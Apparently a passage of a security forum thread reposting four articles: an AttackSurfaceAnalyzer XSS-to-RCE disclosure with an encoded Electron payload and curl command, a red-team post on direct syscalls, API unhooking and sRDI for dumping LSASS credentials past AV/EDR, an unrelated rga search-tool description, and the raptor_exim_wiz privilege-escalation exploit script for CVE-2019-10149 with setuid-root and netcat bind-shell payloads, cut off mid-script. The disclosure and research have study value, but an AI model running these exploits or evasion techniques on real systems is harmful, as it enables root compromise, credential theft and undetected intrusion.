  18. Chaining Three Bugs to Get RCE in Microsoft AttackSurfaceAnalyzer Background What is AttackSurfaceAnalyzer (ASA)? Electron, Electron EveryWhere! Running ASA Vuln 1: Listening on All Interfaces Kestrel's Host Filtering Vuln2: Cross-Site Scripting XSS Root Cause Analysis XSS in Guest from Remote Payloads Vuln 3: XSS to RCE via NodeIntegration The RCE Payload Funky Gifs The Good and the Bad How Can We Fix This? Fixes Timeline This is a blog post about how I found three vulns and chained them to get RCE in the Microsoft AttackSurfaceAnalyzer (ASA moving forward) GUI version. ASA uses Electron.NET which binds the internal Kestrel web server to 0.0.0.0. If permission is given to bypass the Windows OS firewall (or if used on an OS without one), a remote attacker can connect to it and access the application. The web application is vulnerable to Cross-Site Scripting (XSS). A remote attacker can submit a runID with embedded JavaScript that is executed by the victim using the ASA Electron application. Electron.NET does not have the NodeIntegration flag set to false. This allows the JavaScript payload to spawn up processes on the victim's machine. Background Around a month ago someone posted a link to the new version of the tool from Microsoft. Matt who is my ultimate boss said: Wrote the first version of that with John Lambert over a holiday break... I had never seen the tool before but I had used an internal tool which basically did the same thing and more. What is AttackSurfaceAnalyzer (ASA)? According to Microsoft Attack Surface Analyzer takes a snapshot of your system state before and after the installation of other software product(s) and displays changes to a number of key elements of the system attack surface. You run it before you install an application/service and then after. Finally, you can compare these two runs to see what the application has installed on the machine. ASA is typically run as root/admin. Because the application needs as much access as possible to document and monitor changes to the machine. Electron, Electron EveryWhere! The new version of the application is based on Electron. Electron is a framework for packaging webapps as desktop applications. Think of it as a Chromium instance opening your webapp running locally. To learn more about Electron, please read any of the many tutorials. Electron apps are very popular. I am writing this text in VS Code which is another Electron app. ASA uses Electron.NET which "is a wrapper around a "normal" Electron application with an embedded ASP.NET Core application." I am not very familiar with the inner-workings of either framework but it looks like it runs a local Kestrel web server and then opens an ASP.NET web application via Electron. Running ASA I downloaded ASA v2.0.143 and started it in a Windows VM from modern.ie. ASA should be run as admin to get the most visibility into the system/application. After running ASA in an admin prompt. I saw the Windows Firewall alert. First Run This was strange. Why would a local Electron app need to open Firewall ports? Looking at the command prompt, I saw the culprit. C:\Users\IEUser\Downloads\AsaGui-windows-2.0.141> Electron Socket IO Port: 8000 Electron Socket started on port 8000 at 127.0.0.1 ASP.NET Core Port: 8001 stdout: Use Electron Port: 8000 stdout: Hosting environment: Production Content root path: C:\Users\IEUser\Downloads\AsaGui-windows-2.0.141\resources\app\bin\ Now listening on: http://0.0.0.0:8001 Application started. Press Ctrl+C to shut down. The Kestrel web server is listening on all interfaces on port 8001. The port is not static, we can see in the application's source code that it starts from port 8000 and uses the first two available ports. The first is used by Electron and the second by the Kestrel web server. In a typical scenario, the ports will be 8000 and 8001. Electron.NET/ElectronNET.Host/main.js#L141 title 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 function startAspCoreBackend(electronPort) { // hostname needs to be localhost, otherwise Windows Firewall will be triggered. portscanner.findAPortNotInUse(8000, 65535, 'localhost', function (error, electronWebPort) { console.log('ASP.NET Core Port: ' + electronWebPort); loadURL = `http://localhost:${electronWebPort}`; const parameters = [`/electronPort=${electronPort}`, `/electronWebPort=${electronWebPort}`]; let binaryFile = manifestJsonFile.executable; const os = require('os'); if (os.platform() === 'win32') { binaryFile = binaryFile + '.exe'; } let binFilePath = path.join(currentBinPath, binaryFile); var options = { cwd: currentBinPath }; // Run the binary with params and options. apiProcess = process(binFilePath, parameters, options); apiProcess.stdout.on('data', (data) => { console.log(`stdout: ${data.toString()}`); }); }); } These ports are passed to the binary as command line parameters. The binary file is located at AsaGui-windows-2.0.141/resources/app/bin/electron.manifest.json in a key named executable: { "executable": "AttackSurfaceAnalyzer-GUI" } Using procmon (use the filter Process Name is AttackSurfaceAnalyzer-GUI or use Tools > Process Tree) we can see the parameters in action. AttackSurfaceAnalyzer-GUI.exe /electronPort=8000 /electronWebPort=8001 Command line parameters We can manually go to localhost:8001 to see the application in the browser and interact with it. ASA in browser Vuln 1: Listening on All Interfaces The Kestrel web server listening on all interfaces. If it gets permission to open ports or if you do not have a firewall (disable on Windows or running on an OS without one), anyone can connect to it from outside. I created a host-only network interface between the guest VM and the host. After navigating to the guest IP in the host's browser at 192.168.56.101:8001, I got the following error: HTTP Error 400. The request hostname is invalid. Hostname is invalid Or in Burp: HTTP/1.1 400 Bad Request Connection: close Date: Tue, 21 May 2019 20:14:36 GMT Content-Type: text/html Server: Kestrel Content-Length: 334 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"> <HTML><HEAD><TITLE>Bad Request</TITLE> <META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></ HEAD > <BODY><h2>Bad Request - Invalid Hostname</h2> <hr><p>HTTP Error 400. The request hostname is invalid.</p> </BODY></HTML> Note the Server: Kestrel response header which is not really secret information. Kestrel's Host Filtering Kestrel has a host filtering middleware. Read more about it at: Kestrel web server implementation in ASP.NET Core - Host Filtering It filters incoming requests by the Host header. We can use a simple Proxy > Options > Match and Replace rule in Burp to convert our requests' Host header from 192.168.56.101:8001 to localhost:8001 and access the web application remotely. Bypass Host Filtering This setting is enabled inside AsaGui-windows-2.0.141/resources/app/bin/appsettings.json via AllowedHosts: { "Logging": { "LogLevel": { "Default": "Warning" } }, "AllowedHosts": "localhost", "ApplicationInsights": { "InstrumentationKey": "79fc14e7-936c-4dcf-ba66-9a4da6e341ef" } } Vuln2: Cross-Site Scripting The application does not have a lot of injection points. User input is very limited. We can submit scans and then analyze them. We can export the results in specific paths and create reports. The Run Id is pretty much the only place with user input. Let's try a basic injection script and submit a run. When submitting a run, select something simple like Certificates for quick runs. Note: Run Ids are stored in a SQLite database and must be unique per app. XSS in Browser Oops! XSS Root Cause Analysis This is the request to submit our previous run. http://192.168.56.101:8001/Home/StartCollection?Id=<script>alert(1)</script>& File=false&Port=false&Service=false&User=false&Registry=false&Certificates=true The application then calls GetCollectors to get information about the current run and display progress. http://192.168.56.101:8001/Home/GetCollectors The response to the app is a string containing a JSON object. The beautified version of our test run is: { "RunId": "<script>alert(1)</script>", "Runs": { "CertificateCollector": 3 } } The value of RunId is injected directly into the web page. The culprit is at js/Collect.js:174: GetCollectors() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 function GetCollectors() { $.getJSON('GetCollectors', function (result) { var data = JSON.parse(result); var rundata = data.Runs; var keepChecking = false; var anyCollectors = false; var icon, midword; $('#ScanStatus').empty(); if (Object.keys(rundata).length > 0) { // INJECTION $('#ScanStatus').append($('<div/>', { html: l("%StatusReportFor") + data.RunId + ".</i>" })); } // Removed }); } There's no input validation or output encoding for data.RunId. Interestingly, the IDs appear output encoded in the Result tab. Not being Lewis Ardern (solid 5/7 JavaScript guy), I am glad this simple payload worked. XSS in Guest from Remote Payloads We have this reflected XSS which is pretty much worthless. Ok, not completely worthless. If an attacker can make you click on a link to localhost:8001 and submit a payload, they can get XSS in your ASA/browser inside the VM. Not really that useful. But it gets better because the XSS persists in the guest VM running the ASA Electron app. Without submitting a new run, navigate to the Scan tab (or click on it again) in ASA's Electron app inside the guest VM and you should see the alert. When you navigate to the Scan tab, the application retrieves the information for the latest submitted run (the one we submitted from host VM) and the injected payload is executed. This means an attacker can connect to the app via port 8001, submit XSS and then it will pop in ASA when we use it locally. Vuln 3: XSS to RCE via NodeIntegration Being Electron, I immediately thought of RCE. There are a lot of write-ups about how you can convert an XSS to RCE in Electron. It's easy when NodeIntegration is enabled which is the case for Electron.NET (link to the current commit😞 WebPreferences.cs 1 2 3 4 5 /// <summary> /// Whether node integration is enabled. Default is true. /// </summary> [DefaultValue(true)] public bool NodeIntegration { get; set; } = true; More info: Electron Security - Do not enable Node.js Integration for Remote Content This means we can use the XSS to spawn processes in the guest VM running ASA. Note that there are NodeIntegration bypasses so just disabling it might not be enough. The RCE Payload It's the typical Electron XSS to RCE payload. Google one and use it. XSS to RCE Payload 1 2 3 4 5 6 7 8 9 var Process = process.binding('process_wrap').Process; var proc = new Process(); proc.onexit = function(a,b) {}; var env = process.env; var env_ = []; for (var key in env) env_.push(key+'='+env[key]); proc.spawn({file:'calc.exe',args:[],cwd:null,windowsVerbatimArguments:false, detached:false,envPairs:env_,stdio:[{type:'ignore'},{type:'ignore'}, {type:'ignore'}]}); Use the JavaScript eval String.fromCharCode encoder to convert it to the following. Then submit a new run with the payload as the Run Id from the browser in the host machine (note that I have added a bogus id element to make each payload unique): <img id="5" src=x onerror=eval(String.fromCharCode(118,97,114,32,80,114,111,99, 101,115,115,32,61,32,112,114,111,99,101,115,115,46,98,105,110,100,105,110,103, 40,39,112,114,111,99,101,115,115,95,119,114,97,112,39,41,46,80,114,111,99,101, 115,115,59,10,118,97,114,32,112,114,111,99,32,61,32,110,101,119,32,80,114,111, 99,101,115,115,40,41,59,10,112,114,111,99,46,111,110,101,120,105,116,32,61,32, 102,117,110,99,116,105,111,110,40,97,44,98,41,32,123,125,59,10,118,97,114,32, 101,110,118,32,61,32,112,114,111,99,101,115,115,46,101,110,118,59,10,118,97,114, 32,101,110,118,95,32,61,32,91,93,59,10,102,111,114,32,40,118,97,114,32,107,101, 121,32,105,110,32,101,110,118,41,32,101,110,118,95,46,112,117,115,104,40,107, 101,121,43,39,61,39,43,101,110,118,91,107,101,121,93,41,59,10,112,114,111,99,46, 115,112,97,119,110,40,123,102,105,108,101,58,39,99,97,108,99,46,101,120,101,39, 44,97,114,103,115,58,91,93,44,99,119,100,58,110,117,108,108,44,119,105,110,100, 111,119,115,86,101,114,98,97,116,105,109,65,114,103,117,109,101,110,116,115,58, 102,97,108,115,101,44,100,101,116,97,99,104,101,100,58,102,97,108,115,101,44, 101,110,118,80,97,105,114,115,58,101,110,118,95,44,115,116,100,105,111,58,91, 123,116,121,112,101,58,39,105,103,110,111,114,101,39,125,44,123,116,121,112,101, 58,39,105,103,110,111,114,101,39,125,44,123,116,121,112,101,58,39,105,103,110, 111,114,101,39,125,93,125,41,59))> You can also submit the payload locally via this curl command: curl -vvv -ik -H "Host:localhost:8001" "http://localhost:8001/Home/StartCollection? Id=<img%20id=%225%22%20src=x%20onerror=eval(String.fromCharCode(118,97,114,32,80, 114,111,99,101,115,115,32,61,32,112,114,111,99,101,115,115,46,98,105,110,100,105, 110,103,40,39,112,114,111,99,101,115,115,95,119,114,97,112,39,41,46,80,114,111,99, 101,115,115,59,10,118,97,114,32,112,114,111,99,32,61,32,110,101,119,32,80,114,111, 99,101,115,115,40,41,59,10,112,114,111,99,46,111,110,101,120,105,116,32,61,32,102, 117,110,99,116,105,111,110,40,97,44,98,41,32,123,125,59,10,118,97,114,32,101,110, 118,32,61,32,112,114,111,99,101,115,115,46,101,110,118,59,10,118,97,114,32,101, 110,118,95,32,61,32,91,93,59,10,102,111,114,32,40,118,97,114,32,107,101,121,32, 105,110,32,101,110,118,41,32,101,110,118,95,46,112,117,115,104,40,107,101,121,43, 39,61,39,43,101,110,118,91,107,101,121,93,41,59,10,112,114,111,99,46,115,112,97, 119,110,40,123,102,105,108,101,58,39,99,97,108,99,46,101,120,101,39,44,97,114,103, 115,58,91,93,44,99,119,100,58,110,117,108,108,44,119,105,110,100,111,119,115,86, 101,114,98,97,116,105,109,65,114,103,117,109,101,110,116,115,58,102,97,108,115, 101,44,100,101,116,97,99,104,101,100,58,102,97,108,115,101,44,101,110,118,80,97, 105,114,115,58,101,110,118,95,44,115,116,100,105,111,58,91,123,116,121,112,101, 58,39,105,103,110,111,114,101,39,125,44,123,116,121,112,101,58,39,105,103,110,111, 114,101,39,125,44,123,116,121,112,101,58,39,105,103,110,111,114,101,39,125,93,125, 41,59))>&File=false&Port=false&Service=false&User=false&Registry=false&Certificates=true" Switch back to the Scan tab (or click on it to reload it if it's already open) in the guest VM and see calc pop up. Calc in guest VM Incidentally, the command line value in procmon for running the calc looks like a kaomoji. Calc in procmon Funky Gifs Injecting the payload from VM host: Injecting from host into guest Injecting the payload locally: Localhost and curl The Good and the Bad [+] ASA is usually run as Admin. This allows ASA to have more visibility into the OS and give us better results. This means our RCE is as admin. [+] The ports are usually 8000 and 8001. Unless you are running something else on those ports, it's easy to discover machines running a vulnerable version of the ASA. [-] ASA is usually run in disposable VMs. You are not going to fingerprint your applications on a prod VM. But these VMs are still connected to something. How Can We Fix This? Don't bind the web server to all interfaces. Output encode Run Ids in the progress page. Enable NodeIntegration and other Electron Defenses in Electron.NET. See Security, Native Capabilities, and Your Responsibility The issue was reported to Microsoft Security Response Center on May 22nd 2019. Fixes NodeIntegration disabled and ContextIsolation enabled: #218 Not listening on all interfaces - in Gui/Properties/launchSettings.json: #220 encodeURIComponent the runId - in Gui/wwwroot/js/Collect.js: #220 Timeline What Happened When Report 22 May 2019 Acknowledgement 22 May 2019 MSRC asked for clarification 28 May 2019 MSRC confirmed fix was applied 06 June 2019 Fix was confirmed 14 June 2019 Disclosure 18 June 2019 Posted by Parsia Jun 18, 2019Tags: rce Thick Client Proxying - Part 9 - The Windows DNS Cache Sursa: https://parsiya.net/blog/2019-06-18-chaining-three-bugs-to-get-rce-in-microsoft-attacksurfaceanalyzer/
  19. Red Team Tactics: Combining Direct System Calls and sRDI to bypass AV/EDR Cornelis de Plaa | June 19, 2019 In this blog post we will explore the use of direct system calls, restore hooked API calls and ultimately combine this with a shellcode injection technique called sRDI. We will combine these techniques in proof of concept code which can be used to create a LSASS memory dump using Cobalt Strike, while not touching disk and evading AV/EDR monitored user-mode API calls. As companies grow in their cybersecurity maturity level, attackers also evolve in their attacking capabilities. As a red team we try to offer the best value to our customers, so we also need to adapt to more advanced tactics and techniques attackers are using to bypass modern defenses and detection mechanisms. Recent malware research shows that there is an increase in malware that is using direct system calls to evade user-mode API hooks used by security products. So time for us to sharpen our offensive tool development skills. Source code of the PoC can be found here: https://github.com/outflanknl/Dumpert What are direct system calls? In order to understand what system calls really are, we first have to dig a little bit into Operating System architecture, specifically Windows. If you are old (not like me… ) and have a MS-DOS background, you probably remember that a simple application crash could result in a complete system crash. This was due to the fact that the operating system was running in real mode, which means that the processor is running in a mode in which no memory isolation and protection is applied. A bad program or bug could result in a complete crash of the Operating System due to critical system memory corruption, as there was no restriction in what memory regions could be accessed or not. This all changed with newer processors and Operating Systems supporting the so-called protected mode. This mode introduced many safeguards and could protect the system from crashes by isolating running programs from each other using virtual memory and privilege levels or rings. On a Windows system two of these rings are actually used. Application are running in user-mode, which is the equivalent of ring 3 and critical system components like the kernel and device drivers are running in kernel-mode which corresponds to ring 0. Using these protection rings makes sure that applications are isolated and cannot directly access critical memory sections and system resources running in kernel-mode. When an application needs to execute a privileged system operation, the processor first needs to switch into ring 0 to handover the execution flow into kernel-mode. This is where system calls come into place. Let’s demonstrate this privilege mode switching while monitoring a notepad.exe process and saving a simple text file: WriteFile call stack in Process Monitor . The screenshot shows the program flow (call stack) from the notepad.exe process when we save a file. We can see the Win32 API WriteFile call following the Native API NtWriteFile call (more on APIs later). For a program to save a file on disk, the Operating System needs access to the filesystem and device drivers. These are privileged operations and not something the application itself should be allowed to do. Accessing device drivers directly from an application could result in very bad things. So, the last API call before entering kernel-mode is responsible for pulling the dip switch into kernel land. The CPU instruction for entering kernel-mode is the syscall instruction (at least on x64 architecture, which we will discuss in this blog only). We can see this in the following WinDBG screenshot, which shows the unassembled NtWriteFile instruction: Disassembled NtWriteFile API call in WinDBG. The NtWriteFile API from ntdll.dll is responsible for setting up the relevant function call arguments on the stack, then moving the system call number from the NtWriteFile call in the EAX register and executing the syscall instruction. After that, the CPU will jump into kernel-mode (ring 0). The kernel uses the dispatch table (SSDT) to find the right API call belonging to the system call number, copies the arguments from the user-mode stack into the kernel-mode stack and executes the kernel version of the API call (in this case ZwWriteFile). When the kernel routines are finished, the program flow will return back into user-mode almost the same way, but will return the return values from the kernel API calls (for example a pointer to received data, or a handle to a file). This (user-mode) is also the place where many security products like AV, EDR and sandbox software put their hooks, so they can detour the execution flow into their engines to monitor and intercept API calls and block anything suspicious. As you have seen in the disassembled view of the NtWriteFile instruction you may have noticed that it only uses a few assembly instructions, from which the syscall number and the syscall instruction itself are the most important. The only important thing before executing a direct system call is that the stack is setup correctly with the expected arguments and using the right calling convention. So, having this knowledge… why not execute the system calls directly and bypass the Windows and Native API, so that we also bypass any user-mode hooks that might be in place? Well this is exactly what we are going to do, but first a little bit more about the Windows programming interfaces. The Windows programming interfaces In the following screenshot we see a high-level overview of the Windows OS Architecture: For a user-mode application to interface with the underlying operating system, it uses an application programming interface (API). If you are a Windows developer writing C/C++ application, you would normally use the Win32 API. This is Microsoft’s documented programming interfaces which consists of several DLLs (so called Win32 subsystem DLLs). Underneath the Win32 API sits the Native API (ntdll.dll), which is actually the real interface between the user-mode applications and the underlying operating system. This is the most important programming interface but “not officially” documented and should be avoided by programmers in most circumstances. The reason why Microsoft has put another layer on top of the Native API is that the real magic occurs within this Native API layer as it is the lowest layer between user-mode and the kernel. Microsoft probably decided to shield off the documented APIs using an extra layer, so they could make architectural OS changes without affecting the Win32 programming interface. So now we know a bit more about system calls and the Windows programming APIs, let’s see how we can actually skip the programming APIs and invoke the APIs directly using their system call number or restore potentially hooked API calls. Using system calls directly We already showed how to disassemble native API calls to identify the corresponding system call numbers. Using a debugger this could take a lot of time. So, the same can be done using IDA (or Ghidra) by opening a copy of ntdll.dll and lookup the needed function: Disassembled NtWriteFile API call in IDA. One slight problem… system call numbers change between OS versions and sometimes even between service pack/built numbers. Fortunately @j00ru from Google project Zero comes to the rescue with his online system call tables. j00ru did an amazing job keeping up with all system call numbers in use by different Windows versions and between builds. So now we have a great resource to look up all the system calls we want to use. In our code, we want to invoke the system calls directly using assembly. Within Visual Studio we can enable assembly code support using the masm build dependency, which allows us to add .asm files and code within our project. Assembly system call functions in .asm file. All we need to do is gather OS version information from the system we are using and create references between the native API function definitions and OS version specific system call functions in assembly language. For this we can use the Native API RtlGetVersion routine and save this information into a version info structure. Reference function pointers based on OS info. Exported OS specific assembly functions + native API function definitions. Now we can use the system call functions in our code as if they are normal native API functions: Using ZwOpenProcess systemcall function as a Native API call. Restoring hooked API calls with direct system calls Writing advanced malware that only uses direct system calls and completely evades user-mode API calls is practically impossible or at least extremely cumbersome. Sometimes you just want to use an API call in your malicious code. But what if somewhere in the call stack there is a user-mode hook by AV/EDR? Let’s have a look how we can remove the hook using direct system calls. Basic user-mode API hooks by AV/EDR are often created by modifying the first 5 bytes of the API call with a jump (JMP) instruction to another memory address pointing to the security software. The technique of unhooking this method has already been documented within two great blog posts by @SpecialHoang, and by MDsec’s Adam Chester and Dominic Chell. If you study these methods carefully, you will notice the use of API calls such as VirtualProtectEx and WriteProcessMemory to unhook Native API functions. But what if the first API calls are hooked and monitored already somewhere in the call stack? Inception, get it? Direct system calls to the rescue! In the PoC code we created we basically use the same unhooking technique by restoring the first 5 bytes with the original assembly instructions, including the system call number. The only difference is that the API calls we use to unhook the APIs are direct systems call functions (ZwProtectVirtualMemory and ZwWriteVirtualMemory). Using direct system call function to unhook APIs. Proof of concept In our operations we sometimes need Mimikatz to get access to credentials, hashes and Kerberos tickets on a target system. Endpoint detection software and threat hunting instrumentation are pretty good in detection and prevention of Mimikatz nowadays. So, if you are in an assessment and your scenario requires to stay under the radar as much as possible, using Mimikatz on an endpoint is not best practice (even in-memory). Also, dumping LSASS memory with tools such as procdump is often caught by modern AV/EDR using API hooks. So, we need an alternative to get access to LSASS memory and one option is to create a memory dump of the LSASS process after unhooking relevant API functions. This technique was also documented in @SpecialHoang blog. As a proof of concept, we created a LSASS memory dump tool called “Dumpert”. This tool combines direct system calls and API unhooking and allows you to create a LSASS minidump. This might help bypassing defenses of modern AV and EDR products. The minidump file can be used in Mimikatz to extract credential information without running Mimikatz on the target system. Mimikatz minidump import. Of course, dropping executable files on a target is probably something you want to avoid during an engagement, so let’s take this a step further… sRDI – Shellcode Reflective DLL Injection If we do not want to touch disk, we need some sort of injection technique. We can create a reflective loadable DLL from our code, but reflective DLL injection leaves memory artefacts behind that can be detected. My colleague @StanHacked recently pointed me to an interesting DLL injection technique called shellcode Reflective DLL Injection. sRDI allows for the conversion of DLL files to position independent shellcode. This technique is developed by Nick Landers (@monoxgas) from Silent Break Security and is basically a new version of RDI. Some advantages of using sRDI instead of standard RDI: You can convert any DLL to position independent shellcode and use standard shellcode injection techniques. Your DLL does not need to be reflection-aware as the reflective loader is implemented in shellcode outside of your DLL. Uses proper Permissions, no massive RWX blob. Optional PE Header Cleaning. More detailed information about sRDI can be found in this blog. Let our powers combine! Okay with all the elements in place, let’s see if we can combine these elements and techniques and create something more powerful that could be useful during Red Team operations: We created a DLL version of the “dumpert” tool using the same direct system calls and unhooking techniques. This DLL can be run standalone using the following command line: “rundll32.exe C:\Dumpert\Outflank-Dumpert.dll,Dump”, but in this case we are going to convert it to a sRDI shellcode. Compile the DLL version using Visual Studio and turn it into a position independent shellcode. This can be done using the ConvertToShellcode.py script from the sRDI project: “python3 ConvertToShellcode.py Outflank-Dumpert.dll” To inject the shellcode into a remote target, we can use Cobalt Strike’s shinject command. Cobalt Strike has a powerful scripting language called aggressor script which allows you to automate this step. To make this easier we provided an aggressor script which enables a “dumpert” command in the beacon menu to do the dirty job. The dumpert script uses shinject to inject the sRDI shellcode version of the dumpert DLL into the current process (to avoid CreateRemoteThread API). Then it waits a few seconds for the lsass minidump to finish and finally download the minidump file from the victim host. Now you can use Mimikatz on another host to get access to the lsass memory dump including credentials, hashes e.g. from our target host. For this you can use the following command: “sekurlsa::minidump C:\Dumpert\dumpert.dmp” Conclusion Malware that evades security product hooks is increasing and we need to be able to embed such techniques in our projects. In this blog we used references between the native API function definitions and OS version specific system call functions in assembly. This allows us to use direct system calls function as if they were normal Native API functions. We combined this technique together with an API unhooking technique to create a minidump from the LSASS process and used sRDI in combination with Cobalt Strike to inject the dumpert shellcode into memory of a target system. Detecting malicious use of system calls is difficult. Because user-mode programming interfaces are bypassed, the only place to look for malicious activity is the kernel itself. But with kernel PatchGuard protection it is infeasible for security products to create hooks or modification in the running kernel. I hope this blogpost is useful in understanding the advanced techniques attackers are using nowadays and provides a useful demonstration on how to emulate these techniques during Red Team operations. Any feedback or additional ideas, let me know. Sursa: https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/
  20. rga: ripgrep, but also search in PDFs, E-Books, Office documents, zip, tar.gz, etc. Jun 16, 2019 • Last Update Jun 19, 2019 rga is a line-oriented search tool that allows you to look for a regex in a multitude of file types. rga wraps the awesome ripgrep and enables it to search in pdf, docx, sqlite, jpg, zip, tar.*, movie subtitles (mkv, mp4), etc. Examples PDFs Say you have a large folder of papers or lecture slides, and you can't remember which one of them mentioned GRUs. With rga, you can just run this: ~$ rga "GRU" slides/ slides/2016/winter1516_lecture14.pdf Page 34: GRU LSTM Page 35: GRU CONV Page 38: - Try out GRU-RCN! (imo best model) slides/2018/cs231n_2018_ds08.pdf Page 3: ● CNNs, GANs, RNNs, LSTMs, GRU Page 35: ● 1) temporal pooling 2) RNN (e.g. LSTM, GRU) slides/2019/cs231n_2019_lecture10.pdf Page 103: GRU [Learning phrase representations using rnn Page 105: - Common to use LSTM or GRU and it will recursively find a string in pdfs, including if some of them are zipped up. You can do mostly the same thing with pdfgrep -r, but you will miss content in other file types and it will be much slower: Searching in 65 pdfs with 93 slides each 0 5 10 15 20 pdfgrep rga (first run) rga (subsequent runs) run time (seconds, lower is better) On the first run rga is mostly faster because of multithreading, but on subsequent runs (with the same files but any regex query) rga will cache the text extraction, so it becomes almost as fast as searching in plain text files. All runs were done with a warm FS cache. Other files rga will recursively descend into archives and match text in every file type it knows. Here is an example directory with different file types: demo ├── greeting.mkv ├── hello.odt ├── hello.sqlite3 └── somearchive.zip ├── dir │ ├── greeting.docx │ └── inner.tar.gz │ └── greeting.pdf └── greeting.epub (see the actual directory here) ~$ rga "hello" demo/ demo/greeting.mkv metadata: chapters.chapter.0.tags.title="Chapter 1: Hello" 00:08.398 --> 00:11.758: Hello from a movie! demo/hello.odt Hello from an OpenDocument file! demo/hello.sqlite3 tbl: greeting='hello', from='sqlite database!' demo/somearchive.zip dir/greeting.docx: Hello from a MS Office document! dir/inner.tar.gz: greeting.pdf: Page 1: Hello from a PDF! greeting.epub: Hello from an E-Book! It can even search jpg / png images and scanned pdfs using OCR, though this is disabled by default since it is not useful that often and pretty slow. ~$ # find screenshot of crates.io ~$ rga crates ~/screenshots --rga-adapters=+pdfpages,tesseract screenshots/2019-06-14-19-01-10.png crates.io I Browse All Crates Docs v Documentation Repository Dependent crates ~$ # there it is! Setup Linux, Windows and OSX binaries are available in GitHub releases. See the readme for more information. For Arch Linux, I have packaged rga in the AUR: yay -S ripgrep-all Technical details The code and a few more details are here: https://github.com/phiresky/ripgrep-all rga simply runs ripgrep (rg) with some options set, especially --pre=rga-preproc and --pre-glob. rga-preproc [fname] will match an "adapter" to the given file based on either it's filename or it's mime type (if --rga-accurate is given). You can see all adapters currently included in src/adapters. Some rga adapters run external binaries to do the actual work (such as pandoc or ffmpeg), usually by writing to stdin and reading from stdout. Others use a Rust library or bindings to achieve the same effect (like sqlite or zip). To read archives, the zip and tar libraries are used, which work fully in a streaming fashion - this means that the RAM usage is low and no data is ever actually extracted to disk! Most adapters read the files from a Read, so they work completely on streamed data (that can come from anywhere including within nested archives). During the extraction, rga-preproc will compress the data with ZSTD to a memory cache while simultaneously writing it uncompressed to stdout. After completion, if the memory cache is smaller than 2MByte, it is written to a rkv cache. The cache is keyed by (adapter, filename, mtime), so if a file changes it's content is extracted again. Future Work I wanted to add a photograph adapter (based on object classification / detection) for fun, so you can grep for "mountain" and it will show pictures of mountains, like in Google Photos. It worked with YOLO, but something more useful and state-of-the art like this proved very hard to integrate. 7z adapter (couldn't find a nice to use Rust library with streaming) Allow per-adapter configuration options (probably via env (RGA_ADAPTERXYZ_CONF=json)) Maybe use a different disk kv-store as a cache instead of rkv, because I had some weird problems with that. SQLite is great. All other Rust alternatives I could find don't allow writing from multiple processes. Tests! There's some more (mostly technical) todos in the code I don't know how to fix. Help wanted. Similar tools pdfgrep this gist has my proof of concept version of a caching extractor to use ripgrep as a replacement for pdfgrep. this gist is a more extensive preprocessing script by @ColonolBuendia Sursa: https://phiresky.github.io/blog/2019/rga--ripgrep-for-zip-targz-docx-odt-epub-jpg/
  21. #!/bin/bash # # raptor_exim_wiz - "The Return of the WIZard" LPE exploit # Copyright (c) 2019 Marco Ivaldi <raptor@0xdeadbeef.info> # # A flaw was found in Exim versions 4.87 to 4.91 (inclusive). # Improper validation of recipient address in deliver_message() # function in /src/deliver.c may lead to remote command execution. # (CVE-2019-10149) # # This is a local privilege escalation exploit for "The Return # of the WIZard" vulnerability reported by the Qualys Security # Advisory team. # # Credits: # Qualys Security Advisory team (kudos for your amazing research!) # Dennis 'dhn' Herrmann (/dev/tcp technique) # # Usage (setuid method): # $ id # uid=1000(raptor) gid=1000(raptor) groups=1000(raptor) [...] # $ ./raptor_exim_wiz -m setuid # Preparing setuid shell helper... # Delivering setuid payload... # [...] # Waiting 5 seconds... # -rwsr-xr-x 1 root raptor 8744 Jun 16 13:03 /tmp/pwned # # id # uid=0(root) gid=0(root) groups=0(root) # # Usage (netcat method): # $ id # uid=1000(raptor) gid=1000(raptor) groups=1000(raptor) [...] # $ ./raptor_exim_wiz -m netcat # Delivering netcat payload... # Waiting 5 seconds... # localhost [127.0.0.1] 31337 (?) open # id # uid=0(root) gid=0(root) groups=0(root) # # Vulnerable platforms: # Exim 4.87 - 4.91 # # Tested against: # Exim 4.89 on Debian GNU/Linux 9 (stretch) [exim-4.89.tar.xz] # METHOD="setuid" # default method PAYLOAD_SETUID='${run{\x2fbin\x2fsh\t-c\t\x22chown\troot\t\x2ftmp\x2fpwned\x3bchmod\t4755\t\x2ftmp\x2fpwned\x22}}@localhost' PAYLOAD_NETCAT='${run{\x2fbin\x2fsh\t-c\t\x22nc\t-lp\t31337\t-e\t\x2fbin\x2fsh\x22}}@localhost' # usage instructions function usage() { echo "$0 [-m METHOD]" echo echo "-m setuid : use the setuid payload (default)" echo "-m netcat : use the netcat payload" echo exit 1 } # payload delivery function exploit() { # connect to localhost:25 exec 3<>/dev/tcp/localhost/25 # deliver the payload read -u 3 && echo $REPLY echo "helo localhost" >&3 read -u 3 && echo $REPLY echo "mail from:<>" >&3 read -u 3 && echo $REPLY echo "rcpt to:<$PAYLOAD>" >&3 read -u 3 && echo $REPLY echo "data" >&3 read -u 3 && echo $REPLY for i in {1..31} do echo "Received: $i" >&3 done echo "." >&3 read -u 3 && echo $REPLY echo "quit" >&3 read -u 3 && echo $REPLY } # print banner echo echo 'raptor_exim_wiz - "The Return of the WIZard" LPE exploit' echo 'Copyright (c) 2019 Marco Ivaldi <raptor@0xdeadbeef.info>' echo # parse command line while [ ! -z "$1" ]; do case $1 in -m) shift; METHOD="$1"; shift;; * ) usage ;; esac done if [ -z $METHOD ]; then usage fi # setuid method if [ $METHOD = "setuid" ]; then # prepare a setuid shell helper to circumvent bash checks echo "Preparing setuid shell helper..." echo "main(){setuid(0);setgid(0);system(\"/bin/sh\");}" >/tmp/pwned.c gcc -o /tmp/pwned /tmp/pwned.c 2>/dev/null if [ $? -ne 0 ]; then echo "Problems compiling setuid shell helper, check your gcc." echo "Falling back to the /bin/sh method." cp /bin/sh /tmp/pwned fi echo # select and deliver the payload echo "Delivering $METHOD payload..." PAYLOAD=$PAYLOAD_SETUID exploit echo # wait for the magic to happen and spawn our shell echo "Waiting 5 seconds..." sleep 5 ls -l /tmp/pwned /tmp/pwned # netcat method elif [ $METHOD = "netcat" ]; then # select and deliver the payload echo "Delivering $METHOD payload..." PAYLOAD=$PAYLOAD_NETCAT exploit echo # wait for the 